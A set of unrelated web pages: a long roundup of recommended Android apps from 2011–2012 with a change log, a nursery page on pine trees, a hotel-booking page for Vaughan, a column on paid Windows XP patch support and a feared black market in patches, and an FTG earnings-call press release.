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Finding stellar Android apps isn't the easiest task, but that certainly doesn't mean they don't exist. Here's the cream of the crop.
Twitter: The official Twitter app is good enough for almost everyone. Along with giving you a clean, easy way to keep track of your timeline and updating your status, Twitter for Android also has a snazzy swipe down to refresh feature. Free.
Pinterest: Pin until you can pin no more, Android fans. This month the online bulletin board launched a version compatible with Google's platform for the first time. Time to scope out some new DIY projects.
Facebook: Facebook is finally decent on Android and now actually brings some unique features, namely the front page side-scroll of friend's recent photos and a pull up notification window. Free.
Google+: It's Google's big soiree into social "sharing". The app has it all: a stream that shows what your friends are talking about (like Facebook), Huddle which is an easy to set up group chats (like GroupMe) and will even automatically upload the pictures you take on your phone to the cloud (like iCloud). Once you get a Google+ invite, one of those features will pull you in.
Tango: Tango is the best (and clearest!) way to video chat with your buddies, Android or iPhone, over 3G, 4G or Wi-Fi. Free.
Handcent SMS: Handcent puts SMS on steroids. It's fully customizable (in look and theme) and gives options for popups and to even tweak individual contact settings. If you've never thought the stock messaging app on Android sucked, we won't blame you. But after using Handcent, you will. Free.
Imo.im: With its new tabbed interface, imo.im is an IM app that's light, pretty and easy to use. It supports AIM, Google Talk, MSN, Yahoo, Facebook chat and others and is free. Free.
Facebook Messenger: Think of it as a cross platform messaging service that enables you to easily talk to people on any platform—Android, iPhone, Facebook, SMS and everything in between. It's not dissimilar to Kik or WhatsApp in this aspect. If your friends are on Facebook, they'll get your message in the Messages (or on their Android or iPhone). If they're not on Facebook, it'll be re-directed as a SMS message.
Tumblr: Tumblr has been graced with a brand new interface that makes it brainless to use. Everything about 2.0 is smoother, simpler, and all around better. Writing an entry is easy—be it a photo post or just a reblog—and switching between multiple blogs is handled gracefully.
Flickr: Sure you may use Picasa but Flickr is like Instagram for Android. Not only can you scan Flickr photostreams, upload pictures, share photos to other social networks, you can also take filterized pictures and look so hip with it. Free
8tracks: 8tracks has always been a great way to combine your favorite songs into a custom playlist and share it with your friends. It's now on Android. The service allows you to create a social playlist of songs with 8 or more songs, pulled and organized from their huge database of tracks. Music reviewers like Pitchfork, Spin, and Rolling Stone contribute playlists, and the service promises a social music discovery experience that lets you discover music that real people think works together.
SmartGlass: The wait is over. Download SmartGlass to control your Xbox from your phone. Basically you never have to leave your couch ever again. Free
Netflix: All the joys of Netflix in your pocket, all the time-including the power to battle that always growing Watch Instantly queue. Streaming's silky smooth over Wi-Fi, less so over 3G, but the app itself is indispensable. Free.
Spotify: Released to much fanfare, Spotify is as close to a great streaming service we can get. The Android app lets you listen to all of Spotify's 13 million track library and with an offline mode, can even do it without a data connection because you can wirelessly sync your local files to your phone, create and sync playlists and more.
Vignette: With Vignette you get those wonderful artsy effects your friends love and a ton of straight shooting options that'll make you leave your Point and Shoot at home. Not kidding, there's over 68 different effects, 56 unique frames and a ton o' shooting options like fixed focus, fast shot, steady shot, self timer, etc. $4
Pano: A panoramic picture taking app for your Android phone. Basically, you snap a series of side-by-side individual shots together and Pano automagically stitches them together to create one super long seamless photo. You can even merge together 16 pictures into one humungo 360 degree photo if you wanted!
Pandora: Pandora. You know the one. The internet radio app that has uplifted a million work hours and scored a million make-outs. It's simply the best out there, streaming music at home or on the go over Wi-Fi or 3G. Free.
Rdio: A "social" music subscription service, as in you can leech off your friend's good music taste to listen to exactly what they are. Plus, you can sync songs to listen offline. Free.
VLC: It's only in super pre-alpha type stage but VLC for Android is VLC, our favoritest video player in the world. Play all the movies, tv shows and videos you've accumulated in your Internet career on your Android phone. Free
Rockplayer: Rockplayer can play nearly any video file you throw at it, meaning those DVD rips, Windows files, decidedly non-standard clips and those videos you "obtained" from the Internet will all be good to roll. Free.
Videos: You can use Google's official Video app to watch videos you store on your phone or flicks you got from the Market. It streams over Wi-Fi and supports offline viewing too
SoundHound: Shazam gets all the pub but SoundHound is just as good at identifying music and better for Android because there's no limit on how many songs you tag per month. Soundhound also throws in lyrics and links to videos too. Free.
IMDb: Who's that guy? Where's he from? Should I even watch this movie? Solve all your movie questions with Android's official IMDB app. It's basically IMDB's website optimized for your phone—which in this case, is a good thing. Free.
Movies: Pretty simple: you like knowing the movies that are playing in theaters around you, right? Flixster's got local listings and showtimes, along with trailers and reviews from Rotten Tomatoes. Plus, you can manage your Netflix queue! Free.
FX Camera: It's a fairly basic lomo FX/hipstamatic style camera but it's REALLY easy to use and processes the pictures REALLY fast. There's not too many effects available (ToyCam, Polaroid, Fisheye, SymmetriCam, and Andy Warholizer), but all of them are stellar. Free.
Kindle: Just because you don't own a Kindle doesn't mean you shouldn't be buying Kindle ebooks—especially when Amazon has an Android app that's dead simple to use. The e-book wars aren't quite over, but no one will judge you for siding with Amazon. Free.
Turntable.fm: You've got another choice for a reader app on your Android device. The popular bookmarking tool landed on the Google platform this month, and it looks a lot like its iOS counterpart. Free
Listen: For podcast fiends, Google's Listen is easily the easiest app to use. Find your podcasts by searching Google's database and stay up to date with automatic downloads (set to your preferences).
Backgrounds: Ain't nothing like pretending your old phone is brand new than switching up the wallpaper. Backgrounds has a ridiculous, ridiculous amount of options to choose from (over 10k!). Free.
Lightbox: Lightbox is a stylish camera app that's good enough to replace the stock camera app. Though it doesn't have basic features like zoom or autofocus, it does give you the ability to add 10 trendy filters after your shot. Your artsy photos can be shared via Twitter and Facebook and is automagically beamed down to your Honeycomb tablets and Lightbox's web interface. Like Instagram and iCloud but for Android. Free
Snaptastic: An excellent photo editing app that's currently in beta, Snaptastic allows you to quickly tweak your pictures anyway you want. There's 15 presets already built in, custom presets you can set yourself and controls for brightness, contrast, temperature, tint, vignetting, etc. Make your pictures look better and share them immediately to all your favorite social networks.
Sketchbook Pro: For Honeycomb tablets, it's a canvas for you to draw and paint on, with virtual tools and brush styles that can be really used to create art. You can save up to six layers per file and export files to photoshop for further working. Great for professionals who want to use their tablets for ideas and amateurs like me who can only hope to draw a straight line. $5
Crackle: Sony has released Crackle, an app that streams full-feature movies and popular TV shows to Android for free. For free. For free! We're talking popular TV shows like Seinfeld or big times movies like The Da Vinci Code and all completely free! The app is the same ad-supported streaming service as the Crackle.com website (and iOS apps) and has a decent catalog from Columbia Pictures, Tri-Star, Screen Gems, Sony Pictures Classics and other studios. It's obviously not as comprehensive as Netflix or Hulu but you're not paying a damn thing.
360 Panorama: Take a photo while spinning around to create 360 panoramic photos on your Android phone. Just be careful not to fall over.
Lapse It: It's a time lapse camera that makes it dead easy to capture time lapse videos with your Android phone. What's cool, if it's your cup of tea, is that you can add camera effects to your time-lapse videos too. Other than that, you basically set what sort of interval you want to take pictures at and Lapse It will export the video in all its amazingness.
Plex: Plex offers a dead simple media streaming and conversion utility for Android (and other platforms, including iOS and-coming soon-WP7) that requires little to no setup. Install the Plex media server on your home computer, install Plex for Android on your handset, create a myPlex account and log in to it, and you're pretty much finished.
Plants vs Zombies: The insanely addicting tower defense game where you battle zombies with various plants, flowers and rocks is finally on Android. It's still the same heart-racing, finger-mashing, zombie-killing fun as it ever was. $3
Angry Birds: It's the world's most popular smartphone game, and with good reason! There's something about launching these different sorts of aviary ammunition into the precarious pig pens that just never gets old. There are always new birds and new stages coming out the pipeline to keep things fresh, too. Free.
Need for Speed: Shift: The best racing game on Android because of its impressively rich graphics and buttery smooth gameplay. You'll pop your eyeballs out when you realize that this kind of game can work that well on your phone. $5.
Fieldrunners: The endlessly popular tower defense Fieldrunners is finally on Android. There's over 400 levels across 4 battlefields, 7 different weapons to guard your territory with and hours upon hours of fun. I've lost myself in this game when it was on iOS and plan to lose myself for the rest of the weekend now that it's finally on Android.
Cut the Rope: An iOS game mainstay, it's finally available on Android. And it's Free at GetJar! The premise of the game, if you've been living under a rock, is to feed Om Nom his candy by cutting ropes in strategic fashion and also gathering as many stars as you can. Trust me, it's not as boring as it sounds. You'll be addicted in no time. Free.
Fruit Ninja: I don't know what it is about chopping fruits that pop up on the screen but slicing a sick multiple fruit combo with juicy visuals never felt so good. Simple gameplay that's ridiculously addictive. $1.
Robo Defense: Robo Defense is a tower defense game at its best: excitingly chaotic, stressfully fun and strategically simple. Time disappears when you're trying to hit the upgrades and achievements in this game. $3 for Pro.
Alchemy: Alchemy is fun because it's so damn clever. The premise is simple, to combine elements to create things like beer, life, skyscrapers, vampires and more. One thing: you'll have to use your noodle to complete the game. Free.
Words with Friends: Finally available on Android, Words with Friends lets you dominate your Android and iPhone-wielding friends (cross-platform gaming!) with your vocabulary skills and astute tile placement. Free.
Nesoid: It's BYO ROMs, but this $3 NES emulator single-handedly solves Android's gaming problem by letting you play any NES game you can get your hands on. Bonus: The smug sense of satisfaction that this would never fly in the App Store. $3.
Meganoid: A really hilarious and super fun 8-bit game that proudly takes inspiration from Megaman and Metroid. Hilarious because the 8-bit graphics and sound effects are a nod to the simpler days and super fun because it reminds you of being a kid again. Free.
PewPew: It looks a whole lot like Geometry Wars, which is one of the highest compliments we can give a game. PewPew for Android features four game modes of laser-blasting enjoyment, and best of all? It's totally free.
Roboto: A beautiful looking action game where you play the role of a teen robot in love with a pretty robot and have to shoot a bunch of bad guys to win her. Silly, yes. But the graphics are awesome and though it's ostensibly a classic side-scrolling game, the world occasionally flips upside down to keep you on your toes. $3
Eternity Warriors: Made by the people behind Gun Bros, you play as a warrior armed with swords to chop up the bad guys. It's sorta action RPG-ish, loads of fun and you can play with friends too.
Samurai II: Vengeance: Absolutely stunning anime/comicbook-style graphics plus controls that actually make sense plus a ton of ways to slice dudes in half plus samurais plus swords equals a ridiculously engaging Android game. There's a HD game for dual core phones too.
Tiny Tower: IA free 8-bit style game that lets you channel your inner landlord. You build floors on a tower to attract "bitizens" to live in it and then control their lives (manage, hire, give a job, evict). It's like SimCity but actually fun.
MineCraft Sweeper: Marry two addictive titles into one app and you're sure to create a sort of new super game addict. The app is cross between Minesweeper and MineCraft. Good luck getting anything done after downloading this.
SkyDrive: Users of Microsoft's cloud storage solution got a little love this month. As promised, Microsoft launched SkyDrive on Android. The app lets you access and share all the stuff you have squirreled away. Free
Launcher Pro: Launchers are wonderful things! In a nutshell, they're homescreen replacements, but really, they can magically tranform an entire phone-especially if your phone has been saddled with crappy manufacturer skin. You get faster performance, new animations, more homescreens and a cleaner interface all around with Launcher Pro. Free.
Google Reader: Finally! After years of only having a web app (that's admittedly decent!), Google just released a full fledged app for Google Reader. If you're familiar with using Google Reader, it's exactly what you'd expect, only translated for the smaller screen (and faster than the web app). One super cool feature: using the volume keys to navigate through feeds. Free.
Google Voice: Google Voice simply changes the way you use your phone, and the app's seamless integration is a killer feature for Android as a whole. Free.
Google Docs: The native Google Docs app acts more like a documents manager to search, find and share all your documents than a text editor (as you'll be routed to the online web editor to make changes) but is still plenty good. Also: the OCR function to turn images into Google Docs is great. Free
PDAnet: PdaNet is the ridiculously easy (and free!) way to tether your laptop to your phone, over USB or Bluetooth, without rooting it. If you don't wanna cough up $30 for the full version it'll still connect to non-https:// addresses just fine (basically the regular stuff). Free.
SwiftKey Keyboard: The star feature of Swiftkey is its predictive text, it literally learns the way you type. We're not kidding, Swiftkey will scan your SMS messages to see what words you're most likely to use. You'll feel like it can read your mind. Plus, it looks better than the stock Android keyboard. $2.
Beautiful Widgets: If you don't have a HTC Sense phone but still want some gorgeous looking widgets, Beautiful Widgets is all you need. Like the name, the visuals and animations are to die for. $2.
AK Notepad: There's plenty of note apps that throw in snazzier features but the beauty of AK Notepad is in its simplicity: it's a basic yellow pad that let's you jot down what you need. Free.
Epistle: A super simple and great looking text editor that syncs with Dropbox. Your notes are saved in a plain text file, the titles are searchable and the syncing is super fast. Great for those who don't need all the bells and whistles. Free.
Evernote: If you need more features in a "note taker", Evernote is simply a powerhouse of a note taking app. Not only can you jot down notes but you can take pictures, record voice notes and upload files to remember all on their cloud. Free.
Classic Notes + App Box: Classic Notes+ App Box is a note taking app that looks a lot like AK Notepad, but with a lot more features hidden inside. Seriously, there's nutty features like conversion options, tip calculator, weather, time, Wikipedia search, and a ton more bat-shit crazy options (seriously) that don't really belong in a note-taking app but are nice (?) to have as a backup.
Read It Later: Read It Later is a similar service to Instapaper, which means it's an offline news caching reader. Save articles through their browsers and read them offline on your phone. Looks great while reading too. $1.
Feedly: A magazine overlay for your Google Reader, it has the perfect balance between good looks and easy readability. It syncs with your Google Reader account for feeds and plays well with Twitter and Read it later. Free.
HandyCalc: HandyCalc is by far the best calculator on the market. It's so smart it gives suggestions on what you're trying to do and can even convert units and currency. Free.
Dropbox: It really doesn't get easier than Dropbox. With its Android app, you can view and edit all your Dropbox files in a sweet and simple interface and even stream music and videos you've uploaded to Dropbox in its media player (or save for offline viewing). Free.
Barcode Scanner: It's a straight scanner. Barcode Scanner handles both UPC codes (which does a quick product search) and QR codes (which will give you options to add contact, show on map, download, etc) with ease and throws in a few extra features (like searching within the book you scanned) as a bonus. Free.
Tasker: Here's what Tasker does: it performs a set of actions given certain rules and context, like if X happens, then Y will follow kind of deal. So if you're in your car and turn on Car Home on your Android phone, Tasker will know to also shut off Wi-Fi, turn on GPS, flip on Pandora, and crank the volume. Completely customizable, Tasker makes your smartphone even smarter. $6.
Astrid Task/To Do List: No other app gives as much detail to to do lists as Astrid. Its "advanced" options lets you set priority levels, integrate with Google Calendar, sync with Google tasks, and set up tags, alerts and periodic reminders. Astrid keeps it easy, for the most part, but also offers deeper settings if you're the obsessive, customize-everything exactly-how-you-want-it type. Free.
Astro File Manager: Astro File Manager makes it pretty easy to dig up files hiding around in your phone. It also can act as a backup, application manager, and task manager (if you're into that kind of thing). Free.
Voice Recorder: If you need a voice recorder app, this is the one to get. Send the recording via Gmail, record by widget and more, it does all a voice recorder needs to do.
Gmote 2.0: Using your phone as a remote control for your computer is practically a God-given right, and Gmote's the best Android remote for playing and controlling movies and music on your computer. Free.
Exchange by Touchdown: TouchDown syncs with your Exchange Server to let you send and receive email, manage contacts, view and edit appointments and filter through tasks. It all sounds so simple but TouchDown really is the best way to work with Exchange on your Android phone. $20.
3G Watchdog: With a lot of the carriers moving towards monthly data caps, 3G Watchdog smartly protects you from going over your limit. It shows your data usage in either the notification window, through the app itself, or widget. Free.
Amazon Free App Reminder: Amazon has its own Android app store and one of the perks is that they offer a free app everyday. This will send you a daily notification about the free app on that particular day and link you straight to the Amazon app store. $1
Connection Checker: A simple but incredibly useful app that disconnects you from terrible Wi-Fi and 3G signals. Basically, if you have a crappy Wi-Fi connection it'll flip you over to 3G and turn off Wi-Fi. If you have a bad 3G connection, it'll put you on Airplane Mode until it gets better.
Prox: A genuinely clever app, Prox can control your Android phone without ever touching the touchscreen. The way it works is that the accelerometer determines how you hold the phone (left, right, toward, away) and can associate an action for the grip. You trigger that action by waving your hand over the proximity sensor. So you can load apps, change ringer mode, open notifications, turn off the screen, etc with a simple wave of the hand. It could prove useful in cold weather situations or if you want to pretend you have wizard powers.
Pops: Pops makes notifications ridiculous. You can flip your email, SMS, Twitter, Facebook, etc. notifications into VIDEO or ANIMATED notifications. Nyan Cat, Android Robot, anything. Think of it as the next evolution of ringtones. Free
Light Flow: It doesn't work for every phone but you can take control of the notification light on your Android light. You can change colors, cycle through 'em all, program apps to work with it and a whole ton of other customization. It's a small tweak but one that makes your phone, yours.
Smozzy: It only officially works with T-Mobile Android phones but with Smozzy you can surf the web without a data plan. You send a SMS to Smozzy's server from their 'browser' and you get a MMS picture file of the website you want. With links and pictures! Free
Price Check by Amazon: Check the prices of items against the largest retailer on the Internet. Price Check has been on iOS for a while and now it's finally come to Android. You don't even have to type, just take a photo of the item, scan the bar code, or speak the name of the item in tooth e app, Price Check does the rest.
MoneyWise: The app that lets you manage your budget and transactions on your phone without being a gateway to a web app or desktop client.
Tape-a-Talk Voice Recorder: The app will record audio at variable bitrates. It'll even record in the background and share those recordings via email and DropBox.
Flipboard: After a long wait, Flipboard has made its way to Android. The new version pulls together all Twitter feeds and helps you keep up with publications you follow. There's also support here for Google+ (if you care) and YouTube. Free
CloudOn: Do need to word processing on your tablet? This app allows you to create, edit, and view files from Microsoft Word, PowerPoint, and Excel, all on your tablet. You can also view all kinds of types of files, from JPGs to PDFs, and you can sync your stuff on Box, Dropbox, Google Drive, or wherever you stash your data. Free
Kicksend: It's easy use your phone to share just one photo or video to a friend, but what about an entire set? Kicksend lets you send large batches of photos and videos to your friends in one fell swoop. Free
Word Lens: It's disorienting and confusing to be dropped in a country where you don't know the language. This handy app uses augmented reality through your phone's camera and automatically translates signs and other things in the real world into your native tongue. $2.99
Zagat: Now that Google owns Zagat, its restaurant know-how is totally free. Read reviews about where to get the best steak in town, and then turn around and be the critic yourself in entries from more than 30,000 eateries from around the world. Free
Songkick Concerts: You'll never miss a favorite band coming to town with this app. It scans your music library and your accounts on Spotify, Pandora, and other places to find out what you like. Then it tells you when musicians you like have gigs in your city. Free
Nike+ Running: Here's an app to match the shoes you're sporting. Nike+ running maps out your runs, tracks your progress, and motivates you to move those feet faster. Free
Flash Player 10.2: I really don't care if Flash is good for the web or not, I just want to see as much web content as I can on my Android phone. Downloading Flash Player 10.2 gets me one step closer to that. Free.
The Weather Channel: The Weather Channel app on Android isn't the most feature packed, but its the easiest to use. We love it because we can hit all the important features, like the "What It Feels Like" temperature, the 10-day forecast and hourly temperature, faster than any other app. Free.
BeWeather: BeWeather is a drop dead gorgeous weather app that gets its data from Weather Underground. There's detailed forecasts, 11 different widgets in 6 different sizes, temperature notification in the status bar, radar and satellite maps and a TON TON TON of customization options where you can change the icons, fonts and colors of the look of the app.
Live Scores: I'm not exactly smitten with the app's design but there's no other app that offers as much details and stats about sports games as Live Scores. You could set scoring alerts for your favorite teams too. Free.
MLB at Bat 2011: Hands down, the best sports application on any device. You'll be able to keep up with your favorite team in a snazzy new customizable homescreen and stream live games (if you have a MLB.tv package). For any self respecting baseball fan, it's an absolute must have. $15
WatchESPN: If you have the right cable provider, you can stream ESPN, ESPN2, ESPN3 and ESPNU straight to your phone. Works over 3G or Wi-Fi and lets you watch all the biggest sports moments on the go. A must have for any sports fan. Free.
Yelp: Everyone's a critic when it comes to bars and restaurants; Yelp puts that impulse to work for you. Search for food, drink, or whatever else by location, price, style and then read up on what people have to say about it. Free.
MenuPages: If you happen to live in New York, LA, San Francisco, Philly, Boston, Chicago, DC, or South Florida and you like going out for food, Menu Pages has to be on your phone. It has full menus for an impressive roster of restaurants, so you'll be able to know what you want before you even get there. Free.
CNN: You get to watch live video, receive breaking news notifications, tune into CNN radio, use a customizable widget and more. Pretty much a must have for news junkies. Free.
USA Today: A great app to find the latest headlines, sports scores and weather reports because everything is laid out right smack in front of you. USA Today's app is much like USA Today itself, all the relevant news whittled down and easy to understand. Free.
BBC News: It's the inimitable news network, available on your phone. Which is great because you can still catch up on the latest breaking news, personalize the homescreen to your interests, share a story via email, SMS or social networks has been included also, and watch the news too. Free.
Wapedia: Wapedia is perfect: it gives you all of Wikipedia, in a quick and easy-to-understand format, and offers more reference options to search through like wikiquotes, wiktionary, and even more specialized wikis for the most specific information you can glean from in an app. Free.
Google Earth: It's, like, the entire world...on your Android phone. Google Earth is cooler than ever when you're using your fingers to manipulate it, seamlessly zooming around the globe and diving into various places to take a closer look. Free.
Google Shopper: If Google Goggles and a barcode scanner hooked up, we'd get Shopper: a barcode scanning, voice and image searching, product finding, makes-you-a-smarter-shopper shopping assistant. It's a damn good app, and ties nicely with Google because well, it's made by Google. Free.
Google Goggles: Hey, what's that building over there? Is this a famous painting? Those are all questions that can be answered by Google Goggles, which is really searching by taking a picture. The image recognition can be insanely good. Free.
TripIt: TripIt is just an absolute godsend when you're travelling. It's like having your own travel assistant, all you have to do is forward your travel confirmation emails to TripIt and they'll automatically organize it for you in their tidy app. You'll always have your itinerary right on your phone. Free.
Layar: Quite simply, the king of augmented reality apps, able to layer pretty much whatever kind of data you want on top of your boring, HUD-less reality. Free.
NFL Mobile: It's only available for Verizon customers but NFL Mobile gives you live game video, live game audio, news, highlights and more. Heck, you get to stream the NFL Network 24/7. Free.
HBO Go: If you're smart enough to order HBO with your cable, HBO Go will let you watch every episode of every season of The Sopranos, The Wire, Deadwood, Curb Your Enthusiasm, Rome, and any other awesome show HBO has ever made. Oh, and you can stream movies too. Free.
AnimGIF Live Wallpaper 2: A wallpaper "app" that lets you use any GIF you find on the world wide web as your phone's wallpaper. I put app in quotes because its actually more like a settings option, the app is only visible as another option when you want to change wallpapers. It gives your phone depth with a brand new moving personality.
iOnRoad for Android: It's an app that uses your phone's native camera and sensors to tell you if you're driving a safe distance from the cars in front of you, and alerts you visually and audibly if you're approaching a car or object in front of you that pose a danger for collisions.
Square Card Case: With the Square Card Case app, you don't have to pull out your wallet or your phone to pay for anything-you pay invisibly. It's like being a 'regular' and having a tab somewhere. Walk in, grab your stuff, walk out. How does it work? Cleverly, with GPS. The Square Card Case app automatically establishes a connection with their approved merchant once you're within 100 feet of the merchant's business (user opt-in, of course). Once you purchase your things, you just tell the merchant your name and they'll charge your account tied to the Square Card Case.
Darth Maul Me: Take a photo of yourself. Make a few adjustments and you'll see what you would look like as a Dathomirian Zabrak. Seriously, I had to look up what species Darth Maul was.
Embark: Embark: It's not just one app, but rather a series of apps that provide simple and straightforward public transportation directions and related information, like advisories, on your smartphone. They're simple, fast, and really useful whether you're exploring a new city or just need to know how to get around the one you live in.
Decide: The app scans barcodes in the store to see if an item is at a low price point or if you should wait for an upcoming drop. Woohooo deals!
Aldiko: Lifehacker found the best eReader for Android. I can't imagine how many books they had to read to come to this conclusion. I'm guessing hundreds. The reader can open, ePUB, PDF and DRM-locked Adobe books. To appease the demands of your eyes, you can customize the interface.
Mixologist Drink Recipes: You like booze? Yeah, you like booze. Mixologist was voted one of the best drink app for Android in a recent Lifehacker poll. Just because New Year's is over doesn't mean the party has to stop.
Change Log
November 2012
Added: Zagat
Added: Xbox SmartGlass
Added: WordLens
Added: Pinterest
Added: SkyDrive
June 2012:
Added: Nike+ Running
Added: Instapaper
Added: Flipboard
Added: Turntable.fm
Added: Kicksend
Added: Songkick Concerts
January 2012:
Added: Darth Maul Me
Added: Plex
Added: MoneyWise
Added: Embark
Added: Decide
Added: Tape-a-Talk Voice Recorder
Added: MineCraft Sweeper
Added: Aldiko
Added: Mixologist Drink Recipes
November 2011:
Added: Price Check by Amazon
Added: OnRoad for Android
Added: 360 Panorama
Added: Tiny Tower
Added: 8tracks
Added: Lapse It
Added: Square Card Case
September 2011:
Added: VLC
Added: Smozzy
Added: Flickr
Added: BeWeather
Added: Classic Notes + App Box
Added: Eternity Warriors
Added: Samurai II: Vengeance
August 2011:
Added: Pano
Added: Tumblr
Added: Pops
Added: Videos
Added: Prox
Added: AnimGIF Live Wallpaper 2
Added: Light Flow
Added: Facebook Messenger
July 2011:
Added: Fieldrunners
Added: Roboto
Added: Spotify
Added: Snaptastic
Added: Sketchbook Pro
June 2011:
Added: Google+
Added: Lightbox
Added: Cut the Rope
Added: Connection Checker
Added: Prox
Added: BBC News
Added: Crackle
May 2011:
Added: WatchESPN
Added: Netflix
Added: Plants vs Zombies
Added: Amazon Free App Reminder
Added: Imo.im
Removed: eBuddy Messenger
April 2011:
Added: Google Docs
Added: CNN
Added: Epistle
Added: NFL Mobile
Added: HBO Go
Removed: Chomp
March 2011:
Added: Read It Later
Added: Feedly
Added: Chomp
Added: Meganoid
Added: PewPew
Added: 3G Watchdog
February 2011:
Added: Words with Friends
Added: MenuPages
Added: MLB at Bat 2011
Added: Soundhound
Removed: Wordfeud
Removed: Shazam


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There's nothing like a pine tree to green up your landscape all year long. Browse an array of pine tree varieties at Nature Hills that thrive in most USDA planting zones and add lush beauty to any yard.
Facts About Pine Trees
Pine trees are evergreens with long, needle-shaped leaves. They are widely planted in North America, particularly in northern areas. Pine trees produce cones for propagation of the species. Pines are coniferous trees, and there are about 100 or so species of pines worldwide. The United States has about 35 species of native pines growing mostly in colder climates of the country. Pines are important to the overall health of a forest and are valued by humans for their timber and wood pulp production. Pine trees are long lived and typically reach ages of 100 years or more when left unperturbed. Most pine trees prefer full sun exposure and require little or no extra water during their mature stages.
How & Where to Plant Pine Trees
Pines grow well in acidic soils and require good soil drainage. Pine seeds (from the cones) are commonly eaten by birds, squirrels, and other woodland creatures, who then spread the seeds for wide proliferation. Pine trees make attractive ornamental plantings for homeowners and are widely used to create natural windbreaks or privacy screens. Pine trees can look very attractive in the winter landscape of northern regions. Most pine needles are green and tend to appear darker green against a dull brown or white winter background. Pine trees are also known for their pleasing smell and are commonly used for commercial and in-home Christmas decorations and winter décor. The cones, pine boughs and trees all are distinctive and have been used as seasonal decorations for centuries.
Popular Pine Tree Varieties
Whether you plant them in groups, choose one as a showcase in your yard or pair them with flowering trees for contrast, pine trees add year-round color and visual impact to any property. Here are a few of our favorites:

subset: commoncrawl


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More than just hotels
Apartments, cabins, holiday rentals and more, plus millions of reviews from Aussie & Kiwi travellers
Relax with our Price Promise
Find a lower price on a hotel or package online, before your stay, and we'll refund the difference^
Forget morning commutes and long meetings. This holiday, you're going to rise above it all—literally. All you need are Vaughan hotels with balconies. There's no better way to kick back, relax, and take in the Vaughan sights. Once you've soaked it in, plan your next move, or just re-enact the famous scene from "Romeo and Juliet." We won't judge. It's your balcony, your rules.
Take it all in from Vaughan balconies
Rooms with balconies in Vaughan give you your own private slice of the great outdoors, with the convenience of the indoors. You could stay out there all day, people-watching and admiring the sunset (or sunrise, if you're a morning person). Need another drink? Take three steps and grab one—in fact, just grab the whole bottle, and bring the cheese plate while you're at it. Balconies were made for chilled wine and chilling out.
Solo travelling? Vaughan hotels with a balcony were made for you, too. There's nothing better than your morning caffeine, except when you drink it on your balcony. Read up on the news or just perform your sun salutations. It's going to be a good day in Vaughan, and your balcony starts you off right.
Go above and beyond with Wotif
Listen, you know Vaughan is going to be epic no matter what. Hotels with balconies just add that touch of luxe you crave. Go the extra mile and bag a top deal right here on Wotif, and you won't just be the most relaxed traveller around—you'll be the smartest, too.
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|Courtyard by Marriott Toronto Vaughan, Aloft Vaughan Mills, Novotel Toronto Vaughan Centre, Staybridge Suites Toronto - Vaughan South, an IHG Hotel


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"Hey buddy."
"I've got what you're looking for."
"What do you think I'm looking for?"
"Jeeze. Really?"
"Yeah, but it will cost you..."
I expect conversations along those lines to happen in real life on, say, May 13, 2014. Why that date? It will be the first Patch Tuesday when Microsoft will no longer be releasing patches for Windows XP -- unless you're one of those big XP customers, such as the IRS, that didn't leave themselves enough time to get off of XP. If you're one of those, then Microsoft will allow you to buy XP support for at least another year via its Custom Support plan.
Custom Support isn't cheap. Estimates are that it will cost you at least $200 a PC.
Well, it used to anyway. Microsoft appears to have decided that it wasn't getting enough customers for the program, so it cut the price. Companies have told Computerworld about great deals that Microsoft agreed to at the last minute, including one said to have gotten its XP patches for the bargain price of $25 per machine.
I know what you're thinking: "There's no way I could afford $200 a PC for patches. But $25? Sign me up!"
Too bad. Odds are you can't get Microsoft to accept your corporate credit card.
A Microsoft spokesperson told me that "Custom Support is provided to large enterprise customers whose migration from Windows XP was not completed by April 8, 2014. It is a temporary measure designed to help large customers with complex migrations. It should be considered as a last resort for customers who are in the process of migrating from Windows XP to a modern operating system. Custom Support costs vary depending on the specific needs of the customer. Customers should work with their Microsoft Account Representative to determine pricing."
I rather doubt Microsoft will want your business unless you have at least 10,000 XP PCs. But Daryl Ullman, co-founder and managing director of the Emerset Consulting Group, a firm that specializes in helping companies negotiate software licensing deals, said that the new Custom Support minimums were 750 PCs, with a minimum payment of $150,000 for a year's worth of support.
What you'll get for that $150 grand is patches for critical vulnerabilities. Important bugs that are the next step down in Microsoft's four-level threat scoring system will not be automatically patched. You'll have to pay extra for those. Flaws pegged as "moderate" or "low" will not be patched at all, at any price.
Even at the bargain basement price of $25, many large companies can't afford Custom Support. But plenty of them are in need of it. Even now, Windows XP is the third most used desktop operating system in the United States, with 11.79% of users, according to StatCounter.
That's a lot of users. And we know what happens when you have something that's in short supply and with limited access with a large potential market, right? We're going to see a black market in XP patches.
Unless, of course, someone "generously" puts XP patches on BitTorrent. The problem with BitTorrented patches is that you can't really know whether you're getting the real patch or malware.
(Microsoft did not respond to a request to comment on the prospect of a black market for XP patches.)
Oh, I see just wonderful times ahead for people who've insisted on sticking with XP. Maybe it really is time to put XP to pasture and find a real alternative. Chromebooks, anyone?
Steven J. Vaughan-Nichols has been writing about technology and the business of technology since CP/M-80 was cutting-edge and 300bit/sec. was a fast Internet connection -- and we liked it! He can be reached at email@example.com.


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Firan Technology Group Corporation ("FTG") Announces Fourth Quarter and Annual 2015 Earnings Release and Conference Call Dates
/EINPresswire.com/ -- TORONTO, ONTARIO -- (Marketwired) -- 01/25/16 -- Firan Technology Group Corporation (TSX: FTG) ("FTG") will release the Q4 and Annual 2015 financial results after the close of trading on February 1, 2016.
The Corporation will host a live conference call on Tuesday, February 2 at 11:30am (Eastern) to discuss the Q4 and Annual 2015 financial results.
Anyone wishing to participate in the call should dial 416-340-8527 or 1-800-355-4959 and identify that you are calling to participate in the FTG conference call. The Chairperson is Mr. Brad Bourne. A replay of the call will be available until February 16, 2016 and will be available on the FTG website at www.ftgcorp.com. The number to call for a rebroadcast is 905-694-9451 or 1-800-408-3053, pass code 7827341.
FTG is an aerospace and defense electronics product and subsystem supplier to customers around the globe. FTG has two operating units:
FTG Circuits is a manufacturer of high technology, high reliability printed circuit boards. Our customers are leaders in the aviation, defense, and high technology industries. FTG Circuits has operations in Toronto, Ontario, Chatsworth, California and a joint venture in Tianjin, China.
FTG Aerospace manufactures illuminated cockpit panels, keyboards and sub-assemblies for original equipment manufacturers of aerospace and defense equipment. FTG Aerospace has operations in Toronto, Ontario, Chatsworth, California and Tianjin, China.
The Corporation's shares are traded on the Toronto Stock Exchange under the symbol FTG.
